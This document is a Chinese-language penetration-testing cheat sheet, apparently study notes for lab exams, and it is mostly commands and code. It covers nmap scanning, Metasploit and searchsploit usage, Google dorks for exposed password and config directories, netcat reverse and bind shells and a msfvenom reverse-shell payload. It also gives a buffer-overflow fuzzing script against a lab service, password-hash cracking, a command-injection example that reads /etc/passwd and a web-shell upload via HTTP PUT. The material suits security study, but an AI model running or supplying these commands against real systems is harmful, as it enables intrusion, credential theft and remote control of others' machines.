hack tool

流程

  • netdiscover nikto nmap service reverse shell
  • 提权
  • bash_history passwd netstat

flag

  • samba(smb)
  • ftp
  • snmp
  • smtp

scan

nmap

端口扫描

基础

nmap -p 端口 IP(域名)

1
2
3
4
5
6
7
nmap -p 8080 192.168.31.13
nmap  -p 22,21,80 192.168.31.13
nmap  -p 22,21,80 192.168.31.1-253
nmap  -p 22,21,80 192.168.31.1/24

nmap 10.0.1.161,162
nmap 10.0.1.161  10.0.1.162

常用

nmap -sT -Pn -v --open 192.168.0.0/24 -p 21,22,23,25,53,67,68,69,80,109,110,137,139,143,161,389,443,445,465,489,512,513,514,873,993,995,1080,1090,1098,1099,1158,1352,1433,1434,1521,1723,1873,2082,2083,2100,2181,2222,2375,2601,2604,3000,3128,3306,3311,3312,3389,3690,4440,4848,5000,5432,5632,5800,5900,5938,5984,6082,6379,6380,6800,7001,7002,7778,8069,8161,8291,8080,9001,9043,9060,9080,9090,9200,9300,1000,10050,10051,10990,11211,14147,27017,27018,50000,50030,50070,61616,62078

1
2
3
4
5
6
7
8
9
-sV 端口扫描的时候检测服务端软件的版本信息
--version-intensity <级别>:从0(浅)设置为9(尝试所有探针)
-v,-vv 远程机器更详细的信息
-O 操作系统检测
-Pn 禁用主机检测 主机屏蔽了ping请求,Nmap可能会认为该主机没有开机。 指定这个选项之后,Nmap会认为目标主机已经开机并会进行全套的检测工作
-sC 脚本扫描
–traceroute 路由跟踪
--open:仅显示打开(或可能打开)的端口
-A 相当于 -sV -O  -sC –traceroute

步骤

  • 快速扫端口找open port(-sS -Pn –max-retries 1 –max-scan-delay 20 –defeat-rst-ratelimit -T 4)

  • UDP不能漏(-Pn -sU –top-ports 1000 -T 4 –max-retries 1 )

  • 终端开放端口做重点扫描识别背后的服务(-Pn -nvv -A –version-intensit 9 -sV) 针对服务版本搜索漏洞(关键字exploit CVE(web) searchsploit(tool))

TCP/UDP

1
2
3
-sT  默认目标主机的每个端口都进行完整的三次握手 扫描方式比较慢,而且扫描行为很可能被目标主机记录下来  
-sS  发送SYN包 目标主机回复了SYN/ACK包,则说明该端口处 于开放状态 如果回复的是RST/ACK包,则说明这个端口处于关闭状态;如果没有任何响应 或者发送了ICMP unreachable信息,则可认为这个端口被屏蔽了
-sU  UDP扫描  加限制会耗时 --top-ports 200

端口

常用端口

端口 服务
21 FTP
22 SSH
23 Telnet
25 SMTP
53 DNS
67 DHCP
68 DHCP
69 TFTP
80 Web
109 POP3
110 POP3
137 NetBIOS
139 NetBIOS
143 IMAP
161 SNMP
389 LDAP
443 Web
445 SMB
465 SMTPS
489 LDAP
512 Linux R RPE
513 Linux R RLT
514 Linux R cmd
873 Rsync
993 IMAPS
995 POP3
1080 Proxy
1090 JavaRMI
1098 JavaRMI
1099 JavaRMI
1158 Oracle EMCTL
1352 Lotus
1433 MSSQL
1434 MSSQL Monitor
1521 Oracle
1723 PPTP
1873 Rsync
2082 cPanel admin panel/CentOS web panel
2083 CPanel admin panel/CentOS web panel
2100 Oracle XDB FTP
2181 Zookeeper
2222 DA admin panel
2375 Docker
2601 Zebra
2604 Zebra
3000 Gitea Web
3128 Squid Proxy
3306 MySQL/MariaDB
3311 Kangle admin panel
3312 Kangle admin panel
3389 RDP
3690 SVN
4440 Rundeck
4848 GlassFish
5000 SysBase/DB2
5432 PostgreSql
5632 PcAnywhere
5800 VNC
5900 VNC
5938 TeamViewer
5984 CouchDB
6082 varnish
6379 Redis
6380 Redis
6800 Aria2
7001 Weblogic
7002 Weblogic
7778 Kloxo admin panel
8069 Zabbix
8161 ActiveMQ
8291 RouterOS/Winbox
8080 Web
9001 Weblogic
9043 WebSphere
9060 WebSphere
9080 WebSphere
9090 WebSphere
9200 Elasticsearch
9300 Elasticsearch
10000 Virtualmin/Webmin
10050 Zabbix agent
10051 Zabbix server
10990 JavaRMI
11211 Memcached
14147 FileZilla Manager
27017 MongoDB
27018 MongoDB
50000 SAP NetWeaver
50030 Hadoop
50070 Hadoop
61616 ActiveMQ
62078 iPhone-sync
1
2
3
-p 22 22,21 1-1024  扫描1〜65535端口时,可使用-p-选项
-F 快速扫描 将仅扫描100个常用端口。
--top-ports 扫描nmap-services里排名前N的端口。

状态

1
2
3
4
5
6
7
8
9
10
11
open 开放的: 正在该端口接收TCP 连接或者UDP报文。

closed 关闭的: 虽然我们确实可以访问有关的端口(它接受Nmap的探测报文并作出响应),但没有应用程序在其上监听。

filtered 被过滤的: Nmap不能确定该端口是否开放。包过滤设备屏蔽了我们向目标发送的探测包。

unfiltered 未过滤:虽然可以访问到指定端口,但Nmap不能确定它是开放还是关闭。 

open|filtered 开放或者被过滤的 :无法确定端口是开放还是被过滤的。开放的端口不响应. UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。

closed|filtered 关闭或者被过滤的:不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中。

输出

1
2
-oN 正常输出 不显示runtime信息和警告信息。
-oX XML格式 可被Nmap的图形界面解析

时间

  • T

0~5 数字越大扫描速度越快

1
3 默认 同时向多个目标发送多个数据包 扫描时间和网络负载之间进行平衡

改进

1
2
-f 使用小数据包 使用8字节甚至更小数据体的数据包 可避免对方识别出我们探测的数据包
-sC --script=all  /usr/share/nmap/scripts

web

  • http https 源代码

dirbuster

gui 暴力破解Web 应用服务器上的目录名和文件名的工具 通过worklist

locate wordlist |grep dirbuster 也可以使用自定义

nikto

nikto -h ip [-p port80 ] 服务器版本信息 漏洞

enum4linux

enum4linux ip

漏洞利用信息

msfconsole

开源安全漏洞检测工具

module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
搜索
search kw

使用模块
use exploit/path/to/exploit_name

info

设置
set option value

查看设置
show options

# 多个stage payload
set payload generic/shell/reverse_tcp

执行
exploit

修改shellcode

1
gcc xx -o target

searchsploit

searchsploit kw

google hack

当然可以用google的高级搜索

common

1
2
3
4
5
6
7
8
""  必须包含且不能拆开的关键词
intitle:xxx 页面标题关键字
ext:xxx 查找指定文件类型 xlsx
site:domain 域名中所有的 URL 地址
inurl:xxx  在url中查找关键字
intext:xxx 网页内容关键字
link:xx 查找与关键字做了链接的 URL 地址
Index of 主页服务器所进行操作的一个索引目录

example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
intitle:"webview login" alcatel lucent
site:*/cgi/domadmin.cgi
intitle:"Zabbix" intext:"username" intext:"password" inurl:"/zabbix/index.php"
"MailChimp API error:" ext:log

Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"


site:xx.com-site:www.xx.com  差集

connect & listen

netcat

透过使用TCP或UDP协议的网络连接去读写数据

使用whoami验证

  • Linux /bin/bash
  • Windows cmd.exe

reverse shell

1
2
3
4
5
6
# 攻击方 监听
nc -nvlp 4444


# 受害方连接运行shell
ncat -nv 10.211.55.26 4444 -e /bin/bash

bind shell

1
2
3
4
5
6
# 受害方 监听
nc -nvlp 4444 -e /bin/bash


# 攻击方 连接运行shell
nc -nv 192.168.3.27 4444

Buffer overflows

基本概念

stack

内存中的一个特殊区域,用于存储由每个函数(包括main()函数)参数传递的本地数据,返回地址

堆栈是一个 LIFO(后进先出)数据结构,该结构由CPU非常紧密地管理和优化。每当函数声明一个新变量时,它都会push到堆栈中。 然后,当一个函数退出时,它的所有变量都会从堆栈中弹出(也就是说,它们将被删除)。释放堆栈变量后,该内存区域可用于其他堆栈变量。

无需亲自管理内存,变量会自动分配和释放,堆栈有大小限制(os分配),堆栈变量仅在创建它们的函数运行时存在, 快速访问(堆栈速度更快,因为所有可用内存始终是连续的。不需要维护所有可用内存段的列表,只需一个指向堆栈当前顶部的指针即可。)

CPU有效管理空间,内存不会碎片化,堆栈指针指向堆栈的顶部(堆栈中的最高地址)由高到低地址,堆栈增长到底部

由于堆栈是有限的内存块,调用过多的嵌套函数、无限递归或为局部变量分配过多的空间而导致堆栈溢出

heap

要主动分配和释放变量,有很多分配和释放时,可能会产生碎片。变量可以全局访问,内存大小无限制(物理限制)。堆内存的读取和写入速度稍慢,因为必须使用指针来访问堆上的内存

随着堆的增长,通常将新块从低地址分配到高地址。随着分配的内存,存储块的大小会增加。

分配大块的请求可能会失败,因为即使空闲块的组合大小可能足够大,也没有一个空闲块足以满足分配请求。这称为堆碎片。 当与空闲块相邻的已用块被释放时,新的空闲块可以与相邻的空闲块合并以创建更大的空闲块,从而有效地减少了堆的碎片。

多线程

在多线程应用程序中,每个线程将具有自己的堆栈。但是,所有不同的线程将共享堆。

原理

栈中保存了函数调用时的返回地址 (控制EIP)

将栈中保存的返回地址篡改成成溢出的数据,这样就间接修改了函数的返回地址,当函数返回时,就能跳转到预设的地址中,执行植入的代码

gen shellcode

check bad characters

1
2
3
4
5
6
# get random bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5900

# get offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 5900 -q 386F4337

bad characters

检查漏洞代码中可以使用哪些字符的一种简单的方法(如果有点乏味)是将整个字符串添加到已保存的返回指针之后的漏洞利用程序中,并在内存中比较结果。我们要在保存的返回指针覆盖之后放置坏字符,以确保由于坏字符引起的任何损坏都不会阻止保存的返回指针被覆盖。这篇文章中的示例保存了返回指针覆盖,但是使用SEH覆盖时放置也可能是一个因素。 您无需在SEH覆盖后放置坏字符,但需要注意引起异常的原因,并确保您的坏字符不会阻止它的发生。例如,如果您发送一长串A时易受攻击的软件在读取41414141时抛出异常,

find ret address

1
2
3
4
5
6
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

FFE4 JMP ESP


!mona find -s "\xff\xe4" -m xx.dll
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
            "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
            "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
            "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
            "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
            "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
            "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
            "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
shellcode = 'A' * 2003 + 'B' * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print(f"fuzzing {len(shellcode)}")
    connect = s.connect(('10.211.55.19', 9999))
    s.send(bytes('TRUN /.:/' + shellcode, encoding='utf8'))
except Exception:
    print('check debug')

finally:
    s.close()

shellcode

1
2
3
4
msfvenom -p windows/shell_reverse_tcp lhost=10.211.55.26 lport=4444 EXITFUNC=thread -f c -a x86 --platform windows -b '\x00'


use exploit/multi/handler

免杀

sql

提权

/var/www/html apache service wget

post exploitation

1
2
3
4
# Linux
unshadow passwd shadow > unshadow

hashcat 要配更好的显卡

trick

1
2
3
ping ip/domain;cmd

ping 10.211.55.26;cat /etc/passwd
1
2
3
HTTP Put  
    nmap -p80 $ip --script http-put --script-args
    http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php